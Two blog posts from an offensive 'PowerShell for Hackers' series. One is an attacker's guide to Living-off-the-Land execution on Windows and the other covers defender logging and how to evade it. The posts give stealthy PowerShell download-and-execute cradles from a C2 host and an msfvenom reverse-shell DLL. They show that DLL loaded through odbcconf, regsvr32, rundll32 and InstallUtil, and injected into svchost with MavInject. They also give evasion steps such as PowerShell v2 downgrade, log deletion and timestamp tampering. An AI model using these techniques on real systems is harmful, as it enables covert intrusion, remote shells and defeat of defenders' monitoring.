Welcome back, cyberwarriors! 

We hope that throughout the Survival series, you have been learning a lot from us. Today, we introduce Living off the Land techniques that can be abused without triggering alarms. Our goal is to use knowledge from previous articles to get our job done without unnecessary attention from defenders. All the commands we cover in two parts are benign, native, and also available on legacy systems. Not all are well-known, and tracking them all is impossible as they generate tons of logs that are hard to dig through. As you may know, some legitimate software may act suspiciously with its process and driver names. Tons of false positives quickly drain defenders, so in many environments, you can fly under the radar with these commands. 

Today, you’ll learn how to execute different kinds of scripts as substitutes for .ps1 scripts since they can be monitored, create fake drivers, and inject DLLs into processes to get a reverse shell to your C2.

Let’s get started!

Execution and Scripting

Powershell

Let’s recall the basic concepts of stealth in PowerShell from earlier articles. PowerShell is a built-in scripting environment used by system administrators to automate tasks, check system status, and configure Windows. It’s legitimate and not suspicious unless executed where it shouldn’t be. Process creation can be monitored, but this isn’t always the case. It requires effort and software to facilitate such monitoring. The same applies to .ps1 scripts. This is why we learned how to convert .ps1 to .bat to blend in in one of the previous articles. It doesn’t mean you should avoid PowerShell or its scripts, as you can create a great variety of tools with it. 

Here’s a reminder of how to download and execute a script in memory with stealth:

PS > powershell.exe -nop -w h -ep bypass -c "iex (New-Object Net.WebClient).DownloadString('http://C2/script.ps1')"

Walkthrough: This tells PowerShell to start quickly without loading user profile scripts (-nop), hide the window (-w h), ignore script execution rules (-ep bypass), download a script from a URL, and run it directly in memory (DownloadString + Invoke-Expression).

When you would use it: When you need to fetch a script from a remote server and run it quietly.

Why it’s stealthy: PowerShell is common for admin tasks, and in-memory execution leaves no file on disk for antivirus to scan. Skipping user profile scripts avoids potential monitoring embedded in them.

A less stealthy option would be:

PS > iwr http://c2/script.ps1 | iex 

It’s important to keep in mind that Invoke-WebRequest (iwr) and Invoke-Expression (iex) are often abused by hackers. Later, we’ll cover stealthier ways to download and execute payloads.

CMD

CMD is the classic Windows command prompt used to run batch files and utilities. Although this module focuses on PowerShell, stealth is our main concern, so we cover some CMD commands. With its help, we can chain utilities, redirect outputs to files, and collect system information quietly.

Here’s how to chain enumeration with CMD:

PS > cmd.exe /c "whoami /all > C:\Temp\privs.txt & netstat -ano >> C:\Temp\privs.txt"

Walkthrough: /c runs the command and exits. whoami /all gets user and privilege info and writes it to C:\Temp\privs.txt. netstat -ano appends active network connections to the same file. The user doesn’t see a visible window.

When you would use it: Chaining commands is handy, especially if Script Block Logging is in place and your commands get saved.

Why it’s stealthy: cmd.exe is used everywhere, and writing to temp files looks like routine diagnostics.

cscript.exe

This runs VBScript or JScript scripts from the command line. Older automation relies on it to execute scripts that perform checks or launch commands. Mainly we will use it to bypass ps1 execution monitoring. Below, you can see how we executed a JavaScript script.

PS > cscript //E:JScript //Nologo C:\Temp\script.js

Walkthrough (plain): //E:JScript selects the JavaScript engine, while //Nologo hides the usual header. The final argument points to the script that will be run.

When you would use it: All kinds of use. With the help of AI you can write an enumeration script.

Why it’s stealthy: It’s less watched than PowerShell in some environments and looks like legacy automation.

wscript.exe

By default, it runs Windows Script Host (WSH) scripts (VBScript/JScript), often for scripts showing dialogs. As a pentester, you can run a VBScript in the background or perform shell operations without visible windows.

PS > wscript.exe //E:VBScript C:\Temp\enum.vbs //B

Walkthrough: //B runs in batch mode (no message boxes). The VBScript at C:\Temp\enum.vbs is executed by the Windows Script Host.

When you would use it: Same thing here, it really depends on the script you create. We made a system enumeration script that sends output to a text file. 

Why it’s stealthy: Runs without windows and is often used legitimately.

mshta.exe

Normally, it runs HTML Applications (HTA) containing scripts, used for small admin UIs. For pentesters, it’s a way to execute HTA scripts with embedded code. It requires a graphical interface.

PS > mshta users.hta 

Walkthrough: mshta.exe runs script code in users.hta, which could create a WScript object and execute commands, potentially opening a window with output.

When you would use it: To run a seemingly harmless HTML application that executes shell commands

Why it’s stealthy: It looks like a web or UI component and can bypass some script-only rules.

DLL Loading and Injections

These techniques rely on legitimate DLL loading or registration mechanics to get code running.

Rundll32.exe

Used to load a DLL and call its exported functions, often by installers and system utilities. Pentesters can use it to execute a script or function in a DLL, like a reverse shell generated by msfvenom. Be cautious, as rundll32.exe is frequently abused.

C:\> rundll32.exe C:\reflective_dll.x64.dll,TestEntry

Walkthrough: The command runs rundll32.exe to load reflective_dll.x64.dll and call its TestEntry function.

When you would use it: To execute a DLL’s code in environments where direct execution is restricted.

Why it’s stealthy: rundll32.exe is a common system binary and its activity can blend into normal installer steps.

Regsvr32.exe

In plain terms it adds or removes special Windows files (like DLLs or scriptlets) from the system’s registry so that applications can use or stop using them. It is another less frequently used way to execute DLLs.

PS > regsvr32.exe /u /s .\reflective_dll.x64.dll

Walkthrough: regsvr32 is asked to run the DLL. /s makes it silent. 

When you would use it: To execute a DLL via a registration process, mimicking maintenance tasks.

Why it’s stealthy: Registration operations are normal in IT workflows, so the call can be overlooked.

odbcconf.exe

Normally, odbcconf.exe helps programs connect to databases by setting up drivers and connections. You can abuse it to run your DLLs. Below is an example of how we executed a generated DLL and got a reverse shell

bash > msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.57 LPORT=4444 -f dll -o file.dll

PS > odbcconf.exe INSTALLDRIVER “Printer-driverX|Driver=C:\file.dll|APILevel=2”

PS > odbcconf.exe configsysdns “Printer-driverX” “DNS=Printer-driverX”

Walkthrough: The first odbcconf command tells Windows to register a fake database driver named “Printer-driverX” using a DLL file. The APILevel=2 part makes it look like a legitimate driver. When Windows processes this, it loads file.dll, which runs a reverse shell inside of it. The second odbcconf command, creates a system data source (DSN) named “Printer-driverX” tied to that fake driver, which triggers the DLL to load again, ensuring the malicious code runs.

When you would use it: To execute a custom DLL stealthily, especially when other methods are monitored.

Why it’s stealthy: odbcconf is a legit Windows tool rarely used outside database admin tasks, so it’s not heavily monitored by security tools or admins on most systems. Using it to load a DLL looks like normal database setup activity, hiding the malicious intent.

Installutil.exe

Normally, it is a Windows tool that installs or uninstalls .NET programs, like DLLs or executables, designed to run as services or components. It sets them up so they can work with Windows, like registering them to start automatically, or removes them when they’re no longer needed. In pentest scenarios, the command is used to execute malicious code hidden in a specially crafted .NET DLL by pretending to uninstall it as a .NET service.

PS > InstallUtil.exe /logfile= /LogToConsole=false /U file.dll

Walkthrough: The command tells Windows to uninstall a .NET assembly (file.dll) that was previously set up as a service or component. The /U flag means uninstall, /logfile= skips creating a log file, and /LogToConsole=false hides any output on the screen. If file.dll is a malicious .NET assembly with a custom installer class, uninstalling it can trigger its code, like a reverse shell when the command processes the uninstall. However, for a DLL from msfvenom, this may not work as intended unless it’s specifically a .NET service DLL.

When you would use it:. It’s useful when you have admin access and need to execute a .NET payload stealthily, especially if other methods are unavailable.

Why it’s stealthy: Install utilities are commonly used by developers and administrators.

Mavinject.exe

Essentially, it was designed to help with Application Virtualization, when Windows executes apps in a virtual container. We use it to inject DLLs into running processes to get our code executed. We recommend using system processes for injections, such as svchost.exe.Here is how it’s done:

PS > MavInject.exe 528 /INJECTRUNNING C:\file.dll

Walkthrough: Targets process ID 528 (svchost.exe) and instructs MavInject.exe to inject file.dll into it. When the DLL loads, it runs the code and we get a connection back.

Why you would use it: To inject a DLL for a high-privilege reverse shell, like SYSTEM access. 

Why it’s stealthy: MavInject.exe is a niche Microsoft tool, so it’s rarely monitored by security software or admins, making the injection look like legitimate system behavior.

Summary

Living off the Land techniques matter a lot in Windows penetration testing, as they let you achieve your objectives using only built-in Microsoft tools and signed binaries. That reduces forensic footprints and makes your activity blend with normal admin behavior, which increases the chance of bypassing endpoint protections and detection rules. In Part 1 we covered script execution and DLL injections, some of which will significantly improve your stealth and capabilities. In Part 2, you will explore network recon, persistence, and file management to further evade detection. Defenders can also learn a lot from this to shape the detection strategies. But as it was mentioned earlier, monitoring system binaries might generate a lot of false positives. 

Resources:

https://lofl-project.github.io

https://lolbas-project.github.io/#

The post PowerShell for Hackers – Survival Edition, Part 4: Blinding Defenders first appeared on Hackers Arise.

Welcome back aspiring hackers!

In this chapter, we’re going deeper into the ways defenders can spot you and the traps they set to catch you off guard. We’re talking about defensive mechanisms and key Windows Event IDs that can make your life harder if you’re not careful. Every hacker knows that understanding defenders’ tools and habits is half the battle.

No system is perfect, and no company has unlimited resources. Every growing organization needs analysts constantly tuning alerts and security triggers as new software and users are added to the network. It’s tedious and repetitive work. Too many alerts can exhaust even the sharpest defenders. Eye fatigue, late nights, and false positives all drain attention. That’s where you get a small window to make a move, or a chance to slip through unnoticed.

Assuming nobody is watching is a beginner’s mistake. We’ve seen many beginners lose access to entire networks simply because they underestimated defensive mechanisms. The more professional you become, the less reckless you are, and the sharper your actions become. Always evaluate your environment before acting.

Visibility

Defenders have a few main ways they can detect you, and knowing these is crucial if you want to survive:

Process Monitoring

Process monitoring allows defenders to keep an eye on what programs start, stop, or interact with each other. Every process, PowerShell included, leaves traces of its origin (parent) and its children. Analysts use this lineage to spot unusual activity.

For example, a PowerShell process launched by a Microsoft Word document might be suspicious. Security teams use Endpoint Detection and Response (EDR) tools to gather this data, and some providers, like Red Canary, correlate it with other events to find malicious patterns.

Command Monitoring

Command monitoring focuses on what commands are being run inside the process. For PowerShell, this means watching for specific cmdlets, parameters, or encoded commands. Alone, a command might look innocent, but in combination with process monitoring and network telemetry, it can be a strong indicator of compromise.

Network Monitoring

Attackers often use PowerShell to download tools or exfiltrate data over the network. Monitoring outgoing and incoming connections is a reliable way for defenders to catch malicious activity. A common example is an Invoke-Expression command that pulls content from an external server via HTTP.

What They’re Watching

Let’s break down the logs defenders rely on to catch PowerShell activity:

Windows Security Event ID 1101: AMSI

AMSI stands for Antimalware Scan Interface. Think of it as a security checkpoint inside Windows that watches scripts running in memory, including PowerShell, VBScript, and WMI.

AMSI doesn’t store logs in the standard Event Viewer. Instead, it works with Event Tracing for Windows (ETW), a lower-level logging system. If you bypass AMSI, you can execute code that normally would trigger antivirus scans, like dumping LSASS or running malware, without immediate detection.

But AMSI bypasses are risky. They’re often logged themselves, and Microsoft actively patches them. Publicly available bypasses are a trap for anyone trying to survive quietly.

Windows Security Event ID 4104: ScriptBlock Logging

ScriptBlock logging watches the actual code executed in PowerShell scripts. There are two levels:

Automatic (default): Logs script code that looks suspicious, based on Microsoft’s list of dangerous cmdlets and .NET APIs.

Global: Logs everything with no filters.

Event ID 4104 collects this information. You can bypass this by downgrading PowerShell to version 2, if it exists, but even that downgrade can be logged. Subtle obfuscation is necessary. Here is how you downgrade:

PS > powershell -version 2

Note, that ScriptBlock logging only works with PowerShell 5 and above.

Windows Security Event ID 400: PowerShell Command-Line Logging

Even older PowerShell versions have Event ID 400, which logs when a PowerShell process starts. It doesn’t show full commands, but the fact that a process started is noted.

Windows Security Event IDs 800 & 4103: Module Loading and Add-Type

Module logging (Event ID 800) tracks which PowerShell modules are loaded, including the source code for commands run via Add-Type. This is important because Add-Type is used to compile and run C# code.

In PowerShell 5+, Event ID 4103 also logs this context. If a defender sees unusual or rarely-used modules being loaded, it’s a red flag.

Sysmon Event IDs

Sysmon is a specialized Windows tool that gives defenders extra visibility. Usually defenders monitor tracks:

Event ID 1: Every new process creation.

Event ID 7: Module loads, specifically DLLs.

Event ID 10: Process Access, for instance accessing lsass.exe to dump credentials.

For PowerShell, Event ID 7 can flag loads of System.Management.Automation.dll or related modules, which is often a clear indicator of PowerShell use. Many other Sysmon IDs might be monitored, make sure you spend some time to learn about some of them.

To check if Sysmon is running:

PS > Get-Service -Name sysmon

To view recent Sysmon events:

PS > Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvent 20 | Format-List TimeCreated, Id, Message

Not all systems have Sysmon, but where it’s installed, defenders trust it. Essentially, it is like a high-tech security camera that is detailed, persistent, and hard to fool.

Endpoint Detection and Response (EDR) Tools

EDR tools combine all the telemetry above such as processes, commands, modules, network traffic to give defenders a full picture of activity. If you’re working on a system with EDR, every move is being watched in multiple ways.

What’s Likely to Get You Spotted

Attackers are predictable. If you run the same commands repeatedly, defenders notice. Red Canary publishes filters that show suspicious PowerShell activity. Not every system uses these filters, but they’re widely known.

Encoded Commands

Using -encodedcommand or Base64 can trigger alerts. Base64 itself isn’t suspicious, but repeated or unusual use is a warning sign.

Obfuscation & Escape Characters

Adding extra characters (^, +, $, %) can throw off detection, but too much is suspicious.

Suspicious Cmdlets

Some cmdlets are commonly abused. These include ones for downloading files, running scripts, or managing processes. Knowing which ones are flagged helps you avoid careless mistakes.

Suspicious Script Directories

Scripts running from odd locations, like Public folders, are more likely to be flagged. Stick to expected directories or in-memory execution.

Workarounds

Even when your movement is restricted, options exist.

1) Use native binaries. Legitimate Windows programs are less suspicious.

2) Less common commands. Avoid widely abused cmdlets to reduce detection.

3) Living-Off-the-Land. Using built-in tools creatively keeps you under the radar.

We’ll cover these in more depth in the next chapter, how commands meant for one thing can be adapted for another while remaining invisible.

Net Trick

The net command is powerful, but can be monitored. Use net1 to bypass some filters in really strict environments:

PS > net1 user

This lets you run the full suite of net commands quietly.

Logs

Deleting logs can sometimes be a good idea, but you should know that Event ID 1102 flags it immediately. Also, even less experienced defenders can trace lateral movement from log records. Traffic spikes or SMB scans are noticed quickly.

Methods to Evade Detection

Focus on minimizing your footprint and risk. High-risk, complex techniques are not part of this guide.

Avoid Writing Files

Files on disk can betray your tactics. If saving is necessary, use native-looking names, unusual folders, and adjust timestamps. Stick to in-memory execution where possible. Lesser-known commands like odbconf.exe and cmstp.exe are safer and often overlooked. Use them for execution.

PowerShell Version 2

Downgrading can bypass ScriptBlock logging. But you need to obfuscate things carefully. Subtlety is key here.

Change Forwarder Settings

Tweaking log collectors can buy time but is riskier. Always revert these changes after finishing. It’s always good to have a backup of the config files.

Credential Reuse & Blending In

Use known credentials rather than brute-forcing. Work during normal hours to blend in well and dump traffic to understand local activity. Using promiscuous mode can help you get richer network insights. Targeting common ports for file distribution is also a good idea and blends in well with normal traffic patterns.

Summary

In this part we learned more about the enemy and how defenders see your every move. We broke down the main ways attackers get caught, such as process monitoring, command monitoring and network monitoring. From there, we explored Windows Event IDs and logging mechanisms. We emphasized survival strategies that help you minimize footprint by using in-memory execution, sticking to lesser-known or native commands, using version 2 PowerShell or blending in with normal traffic. Practical tips like the net1 trick and log handling process give you an idea how to avoid raising alarms.

When you understand how defenders observe, log, and respond it lets you operate without tripping alerts. By knowing what’s watched and how, you can plan your moves more safely and survive longer. Our goal here was to show you the challenges you’ll face on Windows systems in restricted environments and give you a real sense that you’re never truly alone.

The post PowerShell for Hackers-Survival Edition, Part 3: Know Your Enemy first appeared on Hackers Arise.